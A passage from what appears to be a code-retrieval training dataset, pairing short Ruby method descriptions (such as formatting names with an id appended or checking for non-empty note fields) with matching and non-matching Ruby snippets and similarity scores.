]\n end", "def id_safe(text)\n\t\ttext.gsub(/[ .?!]/, ' ' => '-', '.' => '', '?' => '', '!' => '').gsub(/-{2,}/, '-').downcase.to_s\n\tend", "def handle_text(name, attrs)\n \n end", "def append_identifier part, looping_identifier\n part.id.to_s + (looping_identifier.present? ? \"_#{looping_identifier}\" : \"_0\")\n end", "def text_and_link\n return [@id_value, @id_value] if http_url?\n\n [reference_form, \"#{@resolver_prefix}#{bare_id}\"]\n end", "def initialize(text, id: nil)\n @text = text\n @id = id || generate_id\n end", "def identifier\n id || name || default_identifier\n end", "def record_text_for(name)\n (!@record.respond_to?(name) and name[0,1] == '_') ? '_record' : 'record'\nend", "def record_text_for(name)\n (!@record.respond_to?(name) and name[0,1] == '_') ? '_record' : 'record'\nend", "def label\n \"#{@name} (#{@id})\"\n end", "def name\n # The name must be a string\n id.to_s\n end", "def set_text_placeholders(text)\n return \"\" if text.nil?\n # set application applicable year placeholder\n if text.include? '<application-applicable-year-placeholder>'\n text.sub! '<application-applicable-year-placeholder>', (@model.class.to_s == \"FinancialAssistance::Application\" ? @model.family.application_applicable_year.to_s : @model.application.family.application_applicable_year.to_s)\n else\n text\n end\n end", "def scaffold_name\n self[:name] or id\n end", "def text text\n case @current_element\n when 'firstname'\n @current_person[:firstname] = text\n when 'lastname'\n @current_person[:lastname] = text\n when 'adAccount'\n @current_person[:ad_account] = text\n when 'accountId'\n @current_person[:sam_account_name] = text\n when 'workToDate'\n @current_person[:work_to_date] = text\n when 'emailAddress'\n @current_person[:email] = text\n end\n # Reset the current element som we don't pick up empty text.\n @current_element = nil\n end", "def full_text\n \"#{role} by #{person.full_name}\"\n end", "def label_with_id(label_id)\n label(:id, label_id.to_s).text\n end", "def wrapper_id\n %(id=\"#{id_base}_field_wrapper\")\n end" ]
[ "0.7489171", "0.7369709", "0.71538615", "0.70609725", "0.70609725", "0.6977048", "0.66406703", "0.65177035", "0.6517408", "0.64556587", "0.63567877", "0.6286126", "0.6286126", "0.6286126", "0.61330307", "0.60118985", "0.59641963", "0.59144765", "0.59062105", "0.59052896", "0.5890763", "0.5890763", "0.5878354", "0.58724385", "0.58203346", "0.57942575", "0.57770544", "0.5743841", "0.5743841", "0.57368696", "0.5729401", "0.5724774", "0.57134795", "0.57042056", "0.567595", "0.5673752", "0.5642281", "0.56407773", "0.56393313", "0.5624845", "0.5605871", "0.55952156", "0.5575708", "0.5567212", "0.5557022", "0.5557022", "0.55428934", "0.55189455", "0.5506727", "0.5505204", "0.5505204", "0.54962575", "0.54960346", "0.54960346", "0.54864675", "0.54812735", "0.54656565", "0.5455018", "0.5445441", "0.5430551", "0.5421137", "0.5415102", "0.5414993", "0.54073644", "0.54015696", "0.5372427", "0.5362812", "0.53510463", "0.53510463", "0.5348259", "0.5344622", "0.53405106", "0.53357357", "0.53350157", "0.5318254", "0.53142405", "0.52957374", "0.5292921", "0.5287988", "0.5280846", "0.52802384", "0.527975", "0.5269931", "0.52548593", "0.52537394", "0.52520406", "0.5245523", "0.5241518", "0.52397734", "0.523469", "0.5233934", "0.5233934", "0.52317196", "0.52312076", "0.52262384", "0.5223559", "0.5223356", "0.5219487", "0.52039355", "0.5202189" ]
0.79724365
0
Descriptive title without parent name, in Textileformatted text.
def partial_format_name put_together_name(:part) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def text_name\n title.to_s.t.html_to_ascii\n end", "def title_brief\n return '' unless @marc_record && @marc_record['245']\n subfieldA = @marc_record['245']['a'] || ''\n title = subfieldA.strip\n # return the cleaned up title\n trim_punctuation(title)\n end", "def title\n @descriptive_detail.title\n end", "def title_for_heading(parent_titles = Array.new)\n if parent_titles.length > 0\n [parent_titles, self.term_to_html(\"unittitle\")].join(\" >> \")\n else\n self.term_to_html(\"unittitle\")\n end\n end", "def full_title\n t = \"\"\n if parent\n t = parent.full_title + \"/\"\n end\n return t + title\n end", "def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend", "def get_title(n)\n description = Nokogiri::HTML(@description_xpath[n].text).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[1]\n if description.include?(\"Where\")\n title = description.split(\"Where\")[0]\n # Title must fit on single line\n title.gsub!(\"\\n\", \" \").strip!\n title\n else\n super(n)\n end\n else\n super(n)\n end\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n name.capitalize.bold.sub('_', ' ')\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def title\n # strip some non-breaking space at the end\n @title ||= details.at(\"h1[itemprop='name']\").children.first.text.strip.gsub(' ', '') rescue nil\n end", "def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def title\n return \"\" unless parent\n Array(parent.title).first.to_s\n end", "def title_full\n \"#{djs} - #{@title}\"\n end", "def title_name; end", "def title\n name.gsub(/_/, ' ')\n end", "def title\n\t base_title = \"Most epic website of all time, also celebrating beer.\"\n\t if @title.nil?\n\t base_title\n\t else\n\t \"#{base_title} | #{@title}\"\n\t end\n end", "def title\n @tagline unless name?\n end", "def title\n base_title = \"H&H\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Temple Baptist Church, White House, TN\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def name_with_title\n \"#{self.name}: #{self.title}\"\n end", "def full_title\n ti = title_values&.first\n st = subtitle_values&.first\n if ti && st\n # Remove the automatically-appended subtitle (in the case of search\n # results entries).\n ti = ti.delete_suffix(st).rstrip.delete_suffix(':')\n # Append the subtitle only if it doesn't appear to already be included in\n # the base title itself.\n ti = \"#{ti}: #{st}\" unless significant(ti).include?(significant(st))\n end\n ti || st || '???'\n end", "def title_plain\n Redcap::Utilities.html_to_plain_text title\n end", "def title\n base_title = \"An Andy Sharkey Production\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def get_title_description()\n\t\tif !self.building_number.nil?\n\t\t\tif self.title.include? self.building_number\n\t\t\t\treturn \"Building \" + self.building_number\n\t\t\telse\n\t\t\t\treturn \"Building \" + self.building_number + \"- \" + self.title\n\t\t\tend\n\t\telse\n\t\t\treturn self.title\n\t\tend\n\tend", "def flatiron_title_descend_01\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n end", "def full_title\n \"#{namespace}:#{title}\"\n end", "def title\n base_title = \"Team DIET Tracker\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def first_title\n max_level = 6 # any title with a higher level kicks the current one out\n title = false\n @blocks.each do |block|\n if block.is_a?(Prismic::Fragments::StructuredText::Block::Heading)\n if block.level < max_level\n title = block.text\n max_level = block.level # new maximum\n end\n end\n end\n title\n end", "def title\n base_title = \"Read-O-Meter: Track your reading\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n t = _title.text_value.gsub(\"::\", \"\")\n t.blank? ? self.text : t\n end", "def title\n base_title = \"Reseau Social ESMT\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n super.first || \"\"\n end", "def title\n super.first || \"\"\n end", "def captioned_title\n %(#{@caption}#{title})\n end", "def title\n base_title = 'Statustar'\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n self.summary\n end", "def display_title\n \"**#{title}**\"\n end", "def title\n return @title unless link\n\n # handle the most common cases next\n return \"#{@title}. \" unless @title.ends_with?('. ', '.')\n return \"#{@title} \" if @title.ends_with?('.')\n\n @title\n end", "def full_title subtitle\n\n\t\tbase = \"Codewatch.pl\"\n\n\t\tif not @company.nil?\n\t\t\tbase = @company.name + \" :: \" + base\n\t\tend\n\n\t\tif not @project.nil? and !@project.new_record?\n\t\t\tbase = @project.name + \" :: \" + base\n\t\tend\n\n\t\tif subtitle.blank?\n\t\t\tbase\n\t\telse\n\t\t\tsubtitle + \" :: \" + base\n\t\tend\n\tend", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def title_for string\n if @title\n \"#{@title} | #{string}\"\n else\n string\n end\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n super.first || ''\n end", "def title\n base_title = \"Digital Library Management Tool\"\n if @title.nil?\n base_title\n else\n \"#{base_title}|#{@title}\"\n end\n end", "def title()\n @markdown_document.title()\n end", "def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def subtitle\n @descriptive_detail.subtitle\n end", "def display_name\n return '' unless @research_output.is_a?(ResearchOutput)\n return \"#{@research_output.title[0..49]} ...\" if @research_output.title.length > 50\n\n @research_output.title\n end", "def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Bejben\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n base_title = \"Let Me Sing Now, llc\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n [self.table[:title], subtitle].compact.join(': ')\n end", "def header_for_title\n output = \"-\" * @title.length\n end", "def title\n Sanitize.clean(name).strip\n end", "def title\n return super if block_given?\n\n @title || if show?\n content_tag('span', presenter.heading, itemprop: \"name\")\n else\n @view_context.link_to_document @document, counter: @counter, itemprop: 'name'\n end\n end", "def title\n @title ||= self.content.split(@@title_separator).first unless self.content.nil?\n end", "def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end", "def title\n base_title = \"Golo\"\n if@title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def textual_title\n @record.title\n end", "def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend", "def title\n base_title = \"Bibliocloud\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n values = super\n values = MetadataHelper.ordered( ordered_values: self.title_ordered, values: values )\n return values\n end", "def title\n values = super\n values = MetadataHelper.ordered( ordered_values: self.title_ordered, values: values )\n return values\n end", "def title(title_name)\n h.content_tag :h2 do\n title_name.present? ? title_name : \"Perfis\"\n end\n end", "def short_title\n title\n end", "def accurate_title\n nil\n end", "def title\n [full_name, lifespan].reject(&:empty?).join(' ')\n end", "def title\n @document['title_citation_display']&.first&.truncate(250)\n end", "def title\n @title ||= heirarchy.full_name\n end", "def title\n if file =~ /README.md/\n result = File.basename File.dirname(file)\n else\n result = File.basename(file,'.md')\n end\n result.tr '-', ' '\n end", "def display_name\n title.present? && title || _('Untitled')\n end", "def display_name\n titre\n end", "def toc_title(item)\n case item.type\n when \"section\"\n if not item.heading or item.heading.empty?\n \"Section #{item.num}\" \n elsif item.num\n \"#{item.num} #{item.heading}\"\n else\n item.heading\n end\n when \"part\", \"chapter\"\n \"#{item.type.capitalize} #{item.num} - #{item.heading}\"\n else\n if item.heading? and !item.heading.empty?\n item.heading\n else\n s = item.type.capitalize\n s += \" #{item.num}\" if item.num\n s += \" - #{item.heading}\" if item.heading\n s\n end\n end\n end", "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "def fq_space_title(s)\n s.creator.nickname + '/' + '<strong>' + s.title + '</strong>'\n end", "def title\n base_title = \"Railstwitterclone\"\n if @title.nil?\n base_title\n else\n \"#{base_title} - #{@title}\"\n end\n end", "def title_comp; end", "def titleize\n\t\tif @title.nil?\n\t\t\tmeta = @source.titleize metadata\n\t\t\t@title = \"#{@settings.title || @origin_id} - #{meta}\"\n\t\tend\n\t\treturn @title\n\tend", "def display_title\n\n if (subtype &&\n subtype[0] &&\n subtype[0] == \"#{SUBTYPE_BASE_URI}/party/person\")\n # People have names\n str = nil\n\n g = name_given\n if g && ! g.empty?\n str = g[0]\n end\n\n f = name_family\n if f && ! f.empty?\n if str\n str += \" #{f[0]}\"\n else\n str = f[0]\n end\n end\n\n if str\n return str\n end\n\n else\n # All others have titles\n\n t = title\n if t\n t = title[0]\n if t\n if t && ! t.blank?\n return t\n end\n end\n end\n end\n\n return '(untitled)'\n end", "def title\n temp = \"X\"+read_attribute(:id).to_s\n if not read_attribute(:title).nil? \n temp += \": \" + read_attribute(:title).to_s\n elsif( !self.tags.nil? && !self.tags.first.nil? )\n temp += \": \" + self.tags.first.tag_name\n end\n return temp\n end", "def display_title\n if !self.new_quote? && self.parent_quote.present?\n self.parent_quote.display_title + \" - v#{self.version_number}\"\n elsif self.new_quote? && self.title.present?\n self.title\n else\n 'No title'\n end\n end", "def title\n base_title = \"Cliqs\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title( text, char )\n print( ( char * 76 ) + \"\\n#{text}\\n\" + ( char * 76 ) + \"\\n\" )\n end", "def h_title(text)\n\t\tcontent_for :title, text\n\tend", "def name; title end", "def title\n #Flip off the part after the last dot, including that dot: find the filename without extensions\n fragments = @filename.split('.')\n fragments.pop\n title = fragments.join('.')\n\n return title.gsub(/[_]/, ' ').capitalize\n end", "def show_embedded_description_title(desc)\n title = description_title(desc)\n links = description_mod_links(desc)\n tag.p(tag.span(title, class: \"text-lg\") + links.safe_join(\" | \"))\n end", "def extract_default_title\n\t\treturn self.name unless self.readme&.table_of_contents&.first\n\t\ttitle = self.readme.table_of_contents.first.text\n\t\ttitle ||= self.name\n\tend", "def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end", "def title\n description.truncate(30, :separator =>' ')\n end", "def full_title(page_title)\n\t\tbase_title = \"Hybrid Edu\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def full_title\n if BoB::Application.config.show_chapter_no and not root?\n chapter_no.join('.') + '. ' + title\n else\n title\n end\n end", "def title\n [id, name].join(' ')\n end", "def title\n base_title = \"Soccer_League Manager\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end" ]
[ "0.750183", "0.74823093", "0.74739975", "0.73729986", "0.7356548", "0.730458", "0.7303377", "0.7297251", "0.7242838", "0.72241795", "0.71973395", "0.7196658", "0.7196658", "0.7196658", "0.71747494", "0.71431696", "0.71181166", "0.7114219", "0.7107462", "0.7102454", "0.70867413", "0.7068863", "0.7050341", "0.7026508", "0.70230883", "0.70191807", "0.6999606", "0.698529", "0.6983557", "0.6978925", "0.69674736", "0.69617635", "0.69425523", "0.693427", "0.69285893", "0.6923703", "0.6920916", "0.6920916", "0.6919299", "0.69159883", "0.69116616", "0.69063705", "0.6906369", "0.68974394", "0.68906546", "0.68906546", "0.6886666", "0.6886666", "0.6886666", "0.6885473", "0.68841505", "0.6878926", "0.6878277", "0.6875592", "0.6869735", "0.6867932", "0.6866753", "0.68576944", "0.6855961", "0.68526995", "0.68499666", "0.6845497", "0.68234324", "0.6818637", "0.6817695", "0.6817669", "0.6813874", "0.6806795", "0.6806795", "0.6801997", "0.6797777", "0.67852616", "0.6784894", "0.6775947", "0.67694336", "0.67672616", "0.67569333", "0.6751143", "0.6750224", "0.67480546", "0.6747191", "0.6744152", "0.6742417", "0.6742349", "0.673714", "0.67253065", "0.67202973", "0.67188287", "0.67165077", "0.67110366", "0.67069495", "0.67056954", "0.6692339", "0.6687637", "0.66838264", "0.66799307", "0.6679666", "0.6678594", "0.6676658", "0.66742945", "0.6673665" ]
0.0
-1
Same as +partial_format_name+ but with id tacked on.
def unique_partial_format_name string_with_id(partial_format_name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unique_format_name\n format_name + \" (#{id || \"?\"})\"\n end", "def partial_format_name\n put_together_name(:part)\n end", "def unique_format_name\n display_name + \" (#{id || \"?\"})\"\n end", "def unique_format_name\n string_with_id(format_name)\n end", "def unique_format_name\n title + \" (#{id || \"?\"})\"\n end", "def format_identifier\n self.identifier.to_s\n end", "def fix_id(id, format, extra)\n id << \".\" + format if !format.blank?\n id << \".\" + extra if !extra.blank?\n return id\n end", "def unique_format_name\n if target\n if target.respond_to?(:unique_format_name)\n target.unique_format_name\n else\n target.format_name + \" (#{target_id || \"?\"})\"\n end\n else\n orphan_title\n end\n end", "def unique_format_name\n if target\n if target.respond_to?(:unique_format_name)\n target.unique_format_name\n else\n target.format_name + \" (#{target_id || \"?\"})\"\n end\n else\n orphan_title\n end\n end", "def unique_format_name\n string_with_id(name.observation_name)\n rescue StandardError\n \"\"\n end", "def entire_name_with_id\r\n self.entire_full_name + \" (#{self.id})\"\r\n end", "def format_name\n put_together_name(:full)\n end", "def name_for(_name, _id=nil)\n n = \"#{@object_name}[#{_name}]\"\n n += \"[#{_id}]\" if _id\n end", "def format_name\n title\n end", "def template_name_and_format(name, format, opts)\n \"#{name}.#{format}\"\n end", "def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end", "def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end", "def format_id\n id.delete('-')\n end", "def full_name_with_id\n id.to_s + \": \" + first_name + \" \" + last_name\n end", "def id_for(_name, _id=nil)\n n = \"#{@object_name}_#{_name}\"\n n += \"_#{_id}\" if _id\n end", "def id\n super.to_s.tr('.', '_')\n end", "def id\n name.gsub /-/, '_'\n end", "def unique_partial_text_name\n string_with_id(partial_text_name)\n end", "def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end", "def format_identifier(identifier)\n identifier.empty? ? identifer : \"|%s|\" % identifier\n end", "def unique_format_name\n title = all_subjects.map(&:format_name).uniq.sort.join(\" & \")\n if title.blank?\n :image.l + \" ##{id || \"?\"}\"\n else\n title + \" (#{id || \"?\"})\"\n end\n end", "def id2name() end", "def id2name() end", "def generate_name\n self.name ||= header ? header.parameterize : id\n end", "def display_name\n \"#{id}\"\n end", "def id_format(object)\n object.id_format || object.self_link_uri\n end", "def partial_text_name\n put_together_name(:part).t.html_to_ascii\n end", "def format_key\n formats = CustomFields::AutoNumbering.format_parts(self.format)\n\n formats.select{|f| (f =~ /(\"|#)/).nil? }.join('-')\n end", "def format(name=nil)\n @format = name.to_s if name\n @format || DEFAULT_FORMAT\n end", "def format_identifier\n if repository.class.respond_to? :format_changeset_identifier\n repository.class.format_changeset_identifier self\n else\n identifier\n end\n end", "def text_id\n \"#{name} (##{id})\"\n end", "def format_name\n name.observation_name\n end", "def full_name_with_id\n id.to_s + \": \" + user.first_name + \" \" + user.last_name\n end", "def to_s\n \"#{id}(#{compact_name})\"\n end", "def field_id(suffix = nil)\n extra = suffix ? \"_#{suffix}\" : ''\n\n %(id=\"#{id_base}#{extra}\")\n end", "def format_id(id)\n /(\\d+)/.match(id)\n end", "def format_name(name)\n name.split(' ').join('_')\n end", "def format_name(name)\n name.split(' ').join('_')\n end", "def model_html_id(base)\n name = base.to_s.strip\n unless name.end_with?(*RESERVED_SUFFIX)\n FIELD_PREFIX.find { |prefix| name.delete_prefix!(prefix) }\n end\n name = 'None' if name.blank?\n html_id(name, camelize: true)\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def id\n \"#{kind}_#{@id}\"\n end", "def name\n id.to_s\n end", "def name\n @name ||= parse_name(id.name)\n end", "def idify_property_name(name)\n path = replace_indexes(name).join('_')\n draft = !draft_id.nil?\n output = \"#{schema_type}#{'_draft_draft' if draft}_#{underscore_fix_for_related_urls(path)}\"\n output\n end", "def format_market_uid\n @formated_market_uid = market_uid.to_s\n if specifier.present?\n @formated_market_uid += \"^#{specifier.to_s}\" \n self.specifier_name = specifier.to_s\n end\n end", "def id\n name.gsub(':', '-')\n end", "def default_abbreviation\n \"%03d\" % (id % 1000) if id\n end", "def id_for(field_name)\n if name = @form_args[:name]\n \"#{name}_#{field_name}\".downcase.gsub(/-/, '_')\n else\n \"form_#{field_name}\".downcase.gsub(/-/, '_')\n end\n end", "def name\n # The name must be a string\n id.to_s\n end", "def name_as_id\n self.name.downcase.gsub(/\\s/, '-')\n end", "def to_param\n id.to_s << \"-\" << (name ? name.parameterize : '' )\n end", "def format_name\n name ? name.observation_name : \"\"\n end", "def prefixed_id\n \"p-#{resource.id}\"\n end", "def display_name\n if original_name.nil?\n id\n else\n original_name.text.nil? ? id: original_name.text\n end\n end", "def to_param\n \"#{id}-#{name.try(:parameterize)}\" if id\n end", "def short_identify\n \"# #{self.id}\"\n end", "def format_example(example)\n res = super(example)\n res[:id] = example.metadata[:id]\n res\n end", "def id_to_name\n @id_to_name ||= build_hash('id', 'name')\n end", "def identifier\n \"##{id} - #{area_code} #{end_year} (#{created_at.strftime(\"%m-%d %H:%M\")})\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def make_id_to_name\n build_hash('id', 'name')\n end", "def make_id\n \"#{self.class.name.downcase}#{id}\"\n end", "def format=(name)\n @format = name.to_s\n end", "def name_and_id_from_options(options, type) #:nodoc:\n options[:name] = (options[:prefix] || DEFAULT_PREFIX) + (options[:discard_type] ? '' : \"[#{type}]\")\n options[:id] = options[:name].gsub(/([\\[\\(])|(\\]\\[)/, '_').gsub(/[\\]\\)]/, '').gsub(/\\./, '_').gsub(/_+/, '_')\n end", "def format(format_name)\n valid_for 'string'\n assert_string format_name\n set format: format_name\n end", "def formatted_name\n @formatted_name ||= self.name.gsub(/\\s?\\+/, ' plus')\n end", "def name_and_id_from_options(options, type) #:nodoc:\n options[:name] = (options[:prefix] || DEFAULT_PREFIX) + (options[:discard_type] ? '' : \"[#{type}]\")\n options[:id] = options[:name].gsub(/([\\[\\(])|(\\]\\[)/, '_').gsub(/[\\]\\)]/, '').gsub(/\\./, '_').gsub(/_+/, '_')\n end", "def identifier_for identifier\n \"#{name.gsub(/^.*::/,'').downcase}s.#{identifier}\"\n end", "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "def document_partial_name(document)\n display_type = document[blacklight_config.show.display_type]\n\n return 'default' unless display_type \n\n Array(display_type).first.gsub(/^[^\\/]+\\/[^:]+:/,\"\").gsub(/\\./, '_').underscore\n end", "def present_field_as_label(field)\n field.to_s.sub(/_id$/, '').split('_').map(&:capitalize).join(' ')\n end", "def id_to_name!\n @id_to_name = make_id_to_name\n self\n end", "def brazilian_id(formatted: T.unsafe(nil)); end", "def dotted_id_like_pattern(prefix = nil)\n (prefix || self.dotted_ids) + '.%'\n end", "def to_param\n \"#{id}-#{name}\".parameterize if id.present?\n end", "def format_name\n [@comment[:first], @comment[:last]].join(' ')\n end", "def edit_partial \n return 'edit_' + self.class.to_s.underscore\n end", "def document_partial_name(document)\n # .to_s is necessary otherwise the default return value is not always a string\n # using \"_\" as sep. to more closely follow the views file naming conventions\n # parameterize uses \"-\" as the default sep. which throws errors\n display_type = document[blacklight_config.show.display_type]\n\n return 'default' unless display_type\n\n display_type = display_type.join(\" \") if display_type.respond_to?(:join)\n\n # display_type should be only ONE record and NOT fedora model... and is in following format: MedusaPremis::xxx, where xxx is partial name\n # It should end up underscored, not camel-cased\n display_type = display_type.split(\"::\").last.underscore\n\n \"#{display_type.gsub(\"-\",\" \")}\".parameterize(\"_\").to_s\n end", "def fix_format_string(fmt)\n\t\t\tfmt.gsub(\"__\",\"%s\").gsub(\"_\",\"%s\")\n\tend", "def unique_name(id)\n id.to_s\n end", "def to_param\n \"#{id}-#{display_name.parameterize}\"\n end", "def name_format\n self.name.gsub!(/[^0-9a-z\\-_ ]/i, '_') unless self.name.nil?\n self.name.gsub!(/\\s+/, '-') unless self.name.nil?\n self.name = self.name.downcase unless self.name.nil?\n end", "def name_format\n self.name.gsub!(/[^0-9a-z\\-_ ]/i, '_') unless self.name.nil?\n self.name.gsub!(/\\s+/, '-') unless self.name.nil?\n self.name = self.name.downcase unless self.name.nil?\n end", "def id_fragment\n return ActiveSupport::Inflector.demodulize(self.class.name)\n end", "def format(fmt, *rest) end", "def format_id(item_id)\n self.send(\"format_#{options[:scan_mode]}_id\", item_id)\n end", "def generate_name(id)\n return GameData::Item[id].exact_name\n end", "def document_partial_name(doc, base_name = nil)\n view_cfg = blacklight_config_for(doc).view_config(:show)\n key = base_name && view_cfg[:\"#{base_name}_display_type_field\"].presence\n type = (key && doc[key]) || doc[view_cfg.display_type_field] || 'default'\n type_field_to_partial_name(doc, type)\n end", "def name\n base = config[:name]\n @formatted ? \"#{base} (#{@formatted})\" : base\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def to_param\n \"#{id}-#{name.parameterize}\"\n end", "def id_for(obj)\n \"#{obj.class.name.underscore}-#{obj.id}\"\n end" ]
[ "0.79678214", "0.7906469", "0.7731711", "0.758865", "0.74807924", "0.69325715", "0.6918187", "0.6901638", "0.6901638", "0.67789215", "0.67576563", "0.673776", "0.65637577", "0.6549228", "0.65298337", "0.6363199", "0.6362516", "0.6331806", "0.6330905", "0.63198966", "0.6294971", "0.6291668", "0.62785774", "0.62693846", "0.62691706", "0.6238459", "0.61640763", "0.61640763", "0.61627525", "0.6150549", "0.6107897", "0.6080627", "0.6051478", "0.6048355", "0.6033607", "0.5988791", "0.59640753", "0.59568584", "0.5951783", "0.5892738", "0.58886755", "0.588331", "0.588331", "0.58811414", "0.58809227", "0.58809227", "0.5855764", "0.5844703", "0.58310425", "0.5828506", "0.58252954", "0.58246386", "0.5803391", "0.57949126", "0.57921255", "0.5773897", "0.5770646", "0.5765939", "0.57578325", "0.57461387", "0.5729414", "0.57207996", "0.5715054", "0.5711963", "0.5699739", "0.5696844", "0.5691423", "0.56863445", "0.56759006", "0.5674656", "0.56728905", "0.5663525", "0.56621563", "0.5653495", "0.5653495", "0.5621411", "0.5614623", "0.5611763", "0.5611695", "0.5607301", "0.5605818", "0.55901045", "0.55829084", "0.5580694", "0.5575442", "0.55749595", "0.55722845", "0.55722034", "0.55719405", "0.5569616", "0.5558982", "0.5557504", "0.55530655", "0.5552407", "0.5548337", "0.5546189", "0.5546189", "0.5546189", "0.5546189", "0.5544422" ]
0.8659818
0
:section: Descriptions Are any of the descriptive text fields nonempty?
def notes? result = false self.class.all_note_fields.each do |field| result = send(field).to_s.match(/\S/) break if result end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def includes_description?\n !long_desc.empty? || !desc.empty?\n end", "def descriptive_text\n description.blank? && taxon ? taxon.descriptive_text : description\n end", "def has_description?\n true\n end", "def generic_meta_description?\n [truncate(document.title, length: 30, omission: nil.to_s), meta_description].map{|d| d.downcase.split}.reduce(&:&).size > 0\n end", "def none_of_description\n\t\treturn nil if self.none_of.empty?\n\t\treturn \" with none of: %s\" % [ self.none_of.map(&:name).join(', ') ]\n\tend", "def has_description?\n @desc && @desc.is_a?(String) && !@desc.empty?\n end", "def description?\n !description.nil? && !description.empty?\n end", "def description_present\n if description.blank?\n errors.add(:description, \"Can't be empty\")\n end\n end", "def set_description?\n description.nil? || description.empty?\n end", "def description; attributes[:description] || attributes[:desc] end", "def empty_meta_description?\n return meta_empty?(\"description\")\n end", "def description_presence\n return if self[:description].present?\n\n self.flag_type = self[:flag_type].try(:to_i)\n\n case self.flag_type\n when FLAG_TYPE['terms_of_use_violation']\n errors.add(:description, I18n.t(\"image_flag.missing_description_terms_of_use_violation\"))\n when FLAG_TYPE['copyright']\n errors.add(:description, I18n.t(\"image_flag.missing_description_copyright\"))\n else\n errors.add(:description, \"Unknown violation type!\")\n end\n end", "def descriptions\n @all_descriptions ||= @doc.match DESCRIPTION_MATCHES\n end", "def description\n ''\n end", "def one_of_description\n\t\treturn nil if self.one_of.empty?\n\t\treturn \" with at least one of: %s\" % [ self.one_of.map(&:name).join(', ') ]\n\tend", "def description\n nil\n end", "def viewable_description\n\t 